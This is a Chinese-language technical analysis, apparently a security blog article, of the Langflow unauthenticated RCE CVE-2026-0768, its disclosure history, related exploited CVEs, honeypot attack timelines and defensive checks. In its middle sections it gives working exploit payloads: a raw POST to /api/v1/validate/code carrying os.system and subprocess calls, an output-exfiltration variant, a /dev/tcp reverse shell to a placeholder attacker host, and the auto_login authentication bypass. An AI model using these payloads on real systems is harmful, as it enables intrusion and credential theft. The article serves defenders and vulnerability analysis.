2026年8月30日,一个再普通不过的周六,VulnCheck部署在英国的Langflow蜜罐(Canary)在数小时内记录到超过50次利用尝试——到周一(9月1日),这个数字已经攀升到360次。攻击流量主要来自俄罗斯,且至今只打了英国蜜罐。被利用的是CVE-2026-0768,一个CVSS 9.8的未认证远程代码执行漏洞,Trend Micro零日计划(ZDI-26-034)早在今年1月9日就将其以0-day形式公开——从披露到迎来第一批规模化猎手,中间隔了将近八个月。更耐人寻味的是:目前没有任何公开的PoC利用代码,这意味着攻击者要么独立复现了利用,要么通过私下渠道拿到了武器。
攻击者在打什么?VulnCheck威胁研究副总裁Caitlin Condon给出了第一批载荷的画像:请求在批量查询环境变量(LANGFLOW_SUPERUSER、OPENAI_API*、AWS_ACCESS*、AWS_SECRET*),读取/root/.cache/langflow/secret_key,检查SSH访问权限与.bash_history的大小。一句话:这不是普通的脚本小子扫端口,这是一次目标明确的AI基础设施凭证狩猎——Langflow进程的内存里,往往躺着通往大模型与云账户的钥匙。
靶子档案:Langflow为什么成了攻击者的心头好
Langflow是一个开源的Python低代码平台,用于构建AI应用、智能体、聊天机器人与RAG系统:用户在图形界面里把语言模型、提示词、数据库、API等组件拖拽连线,就能搭出一条AI工作流,而无需从零写代码。项目在GitHub上拥有超过153,000个star、399位贡献者、9,900次fork,是增长最快的开源低代码AI工具之一,2024年已随DataStax收购案进入IBM体系——这是一个实打实的重量级项目,不是某个周末黑客的自嗨仓库。
在攻击者眼里,它的价值清单大概是这样写的:第一,它管着钥匙。为了让工作流能调用模型和云服务,实例的环境变量里常驻着OpenAI、AWS的API密钥与访问凭证,数据库里还存着各工作流配置的连接信息。第二,它管着算力。AI工作流平台天生挂在有GPU或高配CPU的主机上,挖矿者的天然猎物。第三,它天生暴露。VulnCheck在研究里点破了设计层面的尴尬:Langflow的第一部署模型就是作为互联网可访问服务运行的——为了让外部用户无需安装Langflow、无需生成API密钥就能体验项目,官方鼓励把MCP服务器公开出来,提供一个"共享游乐场"(playground)。把易用性做成了默认暴露面,这为后续一切故事埋下了伏笔。默认端口7860,Shodan上一搜一个准。
病灶解剖:一个"验证代码"的端点如何变成"执行代码"的端点
漏洞位于Langflow自定义组件编辑器的代码验证器。背景很简单:Langflow允许用户在前端IDE里编写自定义Python组件,编辑器需要即时告诉用户"你这段代码语法对不对",于是后端提供了一个验证端点/api/v1/validate/code,接收一个code字段。
验证逻辑在src/backend/base/langflow/utils/validate.py的validate_code()函数里,流程是:先用ast.parse()把用户提交的Python源码解析成抽象语法树,遍历树上的FunctionDef节点(函数定义),把每个函数定义单独编译成代码对象,然后用Python内置的exec()执行——没有沙箱、没有过滤、没有任何内容限制。开发者想通过"定义成功"来判定语法有效性,这个意图本身没错,错在他们低估了exec()的语义:
for node in tree.body:
if isinstance(node, ast.FunctionDef):
code_obj = compile(ast.Module(body=[node], type_ignores=[]), "<string>", "exec")
try:
exec(code_obj) # <-- 任意代码执行
except Exception as e:
errors["function"]["errors"].append(str(e))在v1.1.1版本上,这个端点甚至连认证都没有:处理函数post_validate_code()的参数里只有一个Pydantic模型Code,没有用户依赖注入,没有API Key校验,没有token验证。任何能访问到7860端口的陌生人,都可以直接POST。
Python的教科书语义:默认参数在定义时求值
这条漏洞链最优雅(或者说最讽刺)的一环,是它压根不需要什么花哨的绕过技巧——它用的是Python语言说明书写得明明白白的语义:函数定义的默认参数表达式,在函数被定义的那一刻求值,而不是在函数被调用时。教科书上的经典反例是"不要用可变对象做默认参数"(def f(x=[])),而Langflow的代码把它变成了武器:
def f(x=EXPRESSION): pass # EXPRESSION在exec()处理这个定义时立即求值于是最小化的利用载荷短得像一行注释:
POST /api/v1/validate/code HTTP/1.1
Host: target:7860
Content-Type: application/json
{"code": "def exploit(x=__import__('os').system('id')): pass"}函数体是pass,什么都没干——不需要它干,因为恶意表达式挂在默认参数上,exec()执行"函数定义"这个动作本身就触发了__import__('os').system('id')。顺带一提,装饰器表达式同样在定义时求值,所以下面这个变种一样有效:
@__import__('os').system('id')
def exploit(): pass回显通道:异常消息秒变数据外带管道
拿到代码执行只是上半场,命令输出怎么拿回来?这里的设计堪称"贴心":那个exec()被包在try/except里,捕获的异常消息会被塞进errors["function"]["errors"]列表,而这个列表会作为验证结果的一部分,直接序列化进HTTP 200响应的JSON返回给客户端。攻击者只需要让载荷主动抛出一个装着命令输出的异常:
{"code": "def exploit(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"id\", shell=True))')): pass"}响应体会老老实实地带回:
{"imports": {"errors": []},
"function": {"errors": ["b'uid=0(root) gid=0(root) groups=0(root)\\n'"]}}uid=0(root)——是的,root。Langflow的Docker部署(最常见的部署方式)里进程通常以root运行,这个未认证RCE落地即是最高权限,无需任何提权链。如果目标在内网、不便回显,换成反向shell一样只需一行:def exploit(x=__import__('os').system('bash -c "bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"')): pass。
认证的三幕悲剧:从裸奔到形同虚设
Langflow对这个端点的修复史,本身就是一个值得写进安全工程的案例。第一幕:v1.1.1时代,/api/v1/validate/code完全无认证,裸奔。第二幕:后续版本(v1.3.0起)给处理函数加上了CurrentActiveUser依赖,要求认证——看起来堵上了。第三幕:认证形同虚设。因为LANGFLOW_AUTO_LOGIN=true是默认配置(写在services/settings/auth.py里),开启自动登录时,api_key_security()会把任何请求自动认证为默认超级用户,无需请求中携带任何凭证。攻击流程仅多一步:先GET /api/v1/auto_login拿一个超级用户token,带上Bearer头再打验证端点即可。更别提默认凭据本身就是硬编码的langflow/langflow。
回头看两次修复提交:2025年3月的PR #6911给端点加了用户参数,2025年12月的PR #10977调整了依赖注入模式并顺带给/prompt端点也加了认证——两次修复都只动了认证,都没碰那行exec(code_obj)。漏洞的根因是"用exec()执行任意用户代码"这个模式本身,只要它还在,加多少层认证都只是在给一扇敞开的门装门铃。
ZDI的175天拉锯:一个0-day的诞生
这段披露时间线值得完整抄录,因为它几乎是"漏洞披露流程失灵"的标准样本。2025年7月18日,Trend Research的研究者Peter Girnus(@gothburz)、William Gamazo Sanchez与Alfredo Oliveira向Langflow的GitHub提交了漏洞报告。然后是漫长的沉默:9月11日,ZDI询问进展;10月10日,ZDI要求修复;12月10日,ZDI通知厂商将把这案子以0-day公告的形式公开;2026年1月9日,ZDI-26-034正式发布,标题里挂着刺眼的"(0Day)"标记——意味着公开时厂商仍未提供完整修复。ZDI给出的缓解措施也只有一句哲学级的话:"鉴于漏洞的性质,唯一有效的缓解策略是限制与该产品的交互。"翻译过来就是:把它从网上摘下来。
NVD记录显示漏洞影响Langflow 1.4.2及更早版本,允许未认证远程攻击者以root上下文执行任意代码,CVSS向量是清一色的最坏值:网络可达、低复杂度、无需权限、无需交互。而到了9月1日BleepingComputer发稿时,官方建议已经变成"升级到最新版1.11.6,它修复了所有已知漏洞"——从1.4.2到1.11.6之间隔着的,是下文这份长长的战损清单。
2026年Langflow被爆锤全记录:12个CVE、1.5万次成功入侵
把时间轴拉长看,CVE-2026-0768甚至算不上今年Langflow被打击的高潮,只是又一章。VulnCheck在8月28日发布的专项研究《Pwning the AI Stack》里统计:2026年之前,Langflow只有过一个已知在野利用的漏洞(CVE-2025-3248,缺失认证,2025年4月就进了VulnCheck自家的KEV);而2026年还没过完,又有11个漏洞被确认遭在野利用,全年累计12个:
- CVE-2025-3248(9.8分,缺失认证)——老牌主力,至今仍在被批量利用
- CVE-2025-34291(9.4分,Origin验证错误)
- CVE-2026-0770(9.8分,不可信控制域功能引入)——曾被用于以root执行命令、投放恶意软件、抽取云凭证与容器元数据
- CVE-2026-33017(9.3分,代码注入)——3月披露约一天内就被在野利用,攻击者用它执行Python脚本、收割.env文件和数据库文件
- CVE-2026-21445(8.8分,关键功能缺失认证)
- CVE-2026-5027(8.8分,路径遍历)——被用于向服务器写入任意文件,实现RCE
- CVE-2026-0769(9.8分,eval注入)——利用主力之一
- CVE-2026-55255(8.4分,用户可控键的授权绕过)——被用于访问其他用户的AI工作流、窃取敏感数据、投递二阶段植入体
- CVE-2024-37014(9.8分,代码注入)——2024年的老漏洞,2026年8月才被确认在野利用
- CVE-2026-9198(9.8分,代码注入)——多个公开PoC出现后遭CISA点名警告
- CVE-2026-55450(9.3分,敏感信息暴露)与CVE-2026-33497(8.7分,路径遍历)——8月新鲜入库
在VulnCheck蜜罐上,仅CVE-2026-0769、CVE-2025-3248、CVE-2026-5027这"三驾马车"就贡献了超过15,000次成功利用。互联网上目前仍有数百台活跃的漏洞主机,重灾区集中在美国、德国、马来西亚、巴西和印度。一个低代码平台在一年里被打出12个在野利用漏洞,这个密度即便放在整个CVE历史上也相当罕见——它已经不是"哪个版本没打补丁"的问题,而是攻击者已经把Langflow当成了固定的狩猎场,有事没事来巡一圈。
两本攻击剧本:蜜罐里的72天实战实录
VulnCheck的研究里最鲜活的部分,是两个攻击者在同一套Langflow 1.6.9蜜罐(auto_login=True)上留下的完整作案时间线。剧本一:"拿了凭证就跑"。这位攻击者从CVE-2026-5027的路径遍历任意文件写入切入:5月20日拿下首个交互shell,随后两周内陆续部署Python凭证收割器、代理与SimpleHelp远程访问工具;5月29日装上cron持久化(0 * * * * /usr/bin/3WA72N.sh &,每小时整点自启);5月30日凭证收割器运行20.49秒,把战利品外传至23.234.98[.]182:9999;6月8日研究者调查时,一条IRC C2连接(185.117.74[.]172:6667)正处于ESTABLISHED状态。整套动作干净利落,目标明确:抽干主机上的凭证,为更大范围的企业横向移动备料。
剧本二:"挖矿,然后找下一个目标"。这位走的是资源变现路线:4月22日用CVE-2025-3248拿到初始访问,顺手留了个"到此一游"标记(/app/a);5月19日部署代理;5月25日架起Chisel SOCKS5隧道;5月29日启动pearl-miner挖XMR;6月10日关闭auditd,人为制造取证盲区;6月23日二次利用,用CVE-2026-0769投递.sysd并写入.watchdog.sh做持久化;6月24日跑了一遍PocSuite3攻击框架扫描更多目标;6月25日通过SSH跳板(216.78.235.34)转移阵地。值得注意的是,这个攻击者在同一台蜜罐上先后用了两个不同的CVE——对常驻狩猎者来说,Langflow的漏洞清单就像工具箱,一个钝了换下一个。
两个剧本,两种意图,一个共同点:都是生意。VulnCheck的总结很直白——AI产品以空前的速度被采用,而它们大多太年轻,"可以(也确实)忽视安全第一性原理"。
系统性病灶:exec()不是一个bug,是一种架构
如果只看CVE-2026-0768,那它是一个可以被修复的具体漏洞;但把validate.py翻开数一数,同一个文件里有9处exec()调用,分布在eval_function()、execute_function()、create_function()、prepare_global_scope()、build_class_constructor()等函数里,全部在执行用户提交的代码。再把视野放大到整个代码库:code_parser.py在import求值时用exec,python_code_structured_tool.py在加载工具代码时用exec,helpers/flow.py在执行流工具时用exec,custom/eval.py在构建自定义组件时调用的底层还是exec。整个Langflow就是建立在"接收用户代码并执行它"这个原语之上的——这是低代码AI平台的本质功能,也是它的安全原罪。
这解释了为什么Langflow的补丁总是追着攻击者跑:认证可以加、路径可以规范化、密钥校验可以补,但"让用户提交Python代码并运行"这个核心功能没法删除。每一次修复都是在承认:我们无法真正区分"用户想运行的代码"和"攻击者想运行的代码"——能区分的只有提交代码的人是谁,以及这个人在不在本机上。2026年这12个在野利用的CVE里,注入、遍历、越权、认证缺失轮番登场,但每一幕的舞台都是同一个:一个把代码执行当作产品能力的平台,暴露在公网上。
防御清单:如果机房里有一台Langflow
结合VulnCheck的观测与漏洞本身,排查动作可以列得很具体。第一优先级:升级到1.11.6或更新版本,这是唯一覆盖全部已知漏洞的版本;其次,审视7860端口为什么能从公网访问——如果业务上确实需要对外提供playground或MCP服务,至少把它放进网关后面并加访问控制,并且关掉AUTO_LOGIN,改掉默认凭据。凭证侧:假设最坏情况,轮换OpenAI与AWS的全部密钥,重置LANGFLOW_SUPERUSER,检查数据库中Variable表里存的各工作流密钥。取证侧:查/root/.cache/langflow/目录是否被读取过的痕迹,审计cron(尤其/usr/bin/下近日新增的脚本)、.watchdog.sh、.sysd这类已知持久化载荷,翻.bash_history与容器日志中指向IRC 6667端口或陌生SOCKS5隧道的出站连接,以及检查auditd是否被关闭。最后看一眼算力账单——XMR挖矿在GPU主机上留下的功耗曲线很难伪装。
结语:八个月的窗口期,没人从门里出来
CVE-2026-0768的故事里最沉重的细节,不是那个教科书级的Python语义陷阱,也不是三幕剧式的认证失效,而是时间:1月9日ZDI敲锣打鼓地公开,全球的安全通告转了一轮,然后呢?8月30日,攻击者带着自研的利用代码来了,打的是英国蜜罐;9月1日,360次。这八个月里,那些最终会中招的实例一台都没有升级。这就是漏洞管理领域最古老的黑色幽默——披露≠修复,通告≠行动,而攻击者深谙此道:一个9.8分、无认证、root执行、修复率注定惨淡的漏洞,值得他们花八个月去私下打磨武器。
VulnCheck在报告标题里用了"Pwning the AI Stack"这个说法,指向一个正在成型的趋势:攻击者已经把AI基础设施当作独立的初始访问面来经营,他们熟悉Langflow的每一个CVE,像巡田一样定期查看暴露实例,凭证收割与挖矿两条产线并行开工。153,000个star的另一面,是15,000次成功入侵——开源社区的热爱救不了忽视安全第一性原理的部署方式。对所有正在把AI平台推上生产的团队,这个故事的建议朴素得近乎无聊:在为你的智能体接上第一把OpenAI密钥之前,先确认那台跑着153k-star项目的主机,没有把7860端口对着整个互联网敞开。
